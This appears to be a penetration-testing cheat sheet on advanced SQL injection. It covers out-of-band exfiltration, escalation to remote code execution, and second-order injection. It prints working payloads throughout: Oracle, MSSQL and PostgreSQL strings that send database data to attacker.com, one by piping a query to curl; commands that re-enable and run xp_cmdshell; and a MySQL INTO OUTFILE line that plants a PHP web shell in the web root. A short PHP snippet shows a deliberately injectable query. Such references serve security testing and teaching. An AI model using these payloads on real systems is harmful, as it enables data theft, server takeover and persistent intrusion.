Advanced SQL Injection Techniques¶
This section covers advanced SQLi vectors that go beyond simple data exfiltration, often leading to full Remote Code Execution (RCE) or bypassing complex defenses.
1. Out-of-Band (OOB) SQL Injection¶
OOB SQLi is used when the application's response is not useful for inferential (blind) techniques. Instead, it forces the database to make an external network request (e.g., DNS or HTTP) to a server controlled by the attacker, carrying exfiltrated data with it.
Use Cases¶
- When both in-band and blind SQLi are blocked or ineffective.
- To exfiltrate data quickly without iterating character by character.
Payloads¶
Oracle (DNS Lookup):
-- Force a DNS lookup for a subdomain containing the database user
' AND UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM DUAL)||'.attacker.com') IS NOT NULL--
Microsoft SQL Server (UNC Path):
-- Force the server to connect to an attacker-controlled SMB share
'; EXEC master..xp_dirtree '\\(SELECT @@version).attacker.com\test';--
PostgreSQL (COPY command):
-- Attempt to copy data to an attacker's server
COPY (SELECT table_name FROM information_schema.tables) TO PROGRAM 'curl http://attacker.com/?data='
2. SQL Injection to Remote Code Execution (RCE)¶
In some configurations, SQLi can be escalated to execute commands on the underlying operating system. This requires high database user privileges and specific database features to be enabled.
Payloads¶
Microsoft SQL Server (xp_cmdshell): If the xp_cmdshell stored procedure is enabled, an attacker can execute arbitrary system commands.
-- Re-enable xp_cmdshell if disabled
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
-- Execute a command
'; EXEC master..xp_cmdshell 'whoami > C:\inetpub\wwwroot\whoami.txt';--
MySQL (INTO OUTFILE / INTO DUMPFILE): If the database user has the FILE privilege, they can write files to the server's filesystem, such as a web shell.
-- Write a simple PHP web shell to the web root
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'--
3. Second-Order SQL Injection¶
A second-order (or stored) SQLi occurs when user-supplied input is stored by the application and later used in an unsafe SQL query in a different context. The initial request is benign, but the secondary request triggers the vulnerability.
Example Scenario¶
- Registration: A user registers with a malicious username like
admin'--. The application stores this in the database without issue. - Profile Update: The user later goes to their "Update Profile" page. The application might use a query like this to display their current details:
$query = "SELECT * FROM users WHERE username = '" . $_SESSION['username'] . "'"; - Exploitation: When the stored username
admin'--is retrieved from the session and placed in the query, the query becomes:This effectively queries for theSELECT * FROM users WHERE username = 'admin'--'adminuser's details, not the attacker's.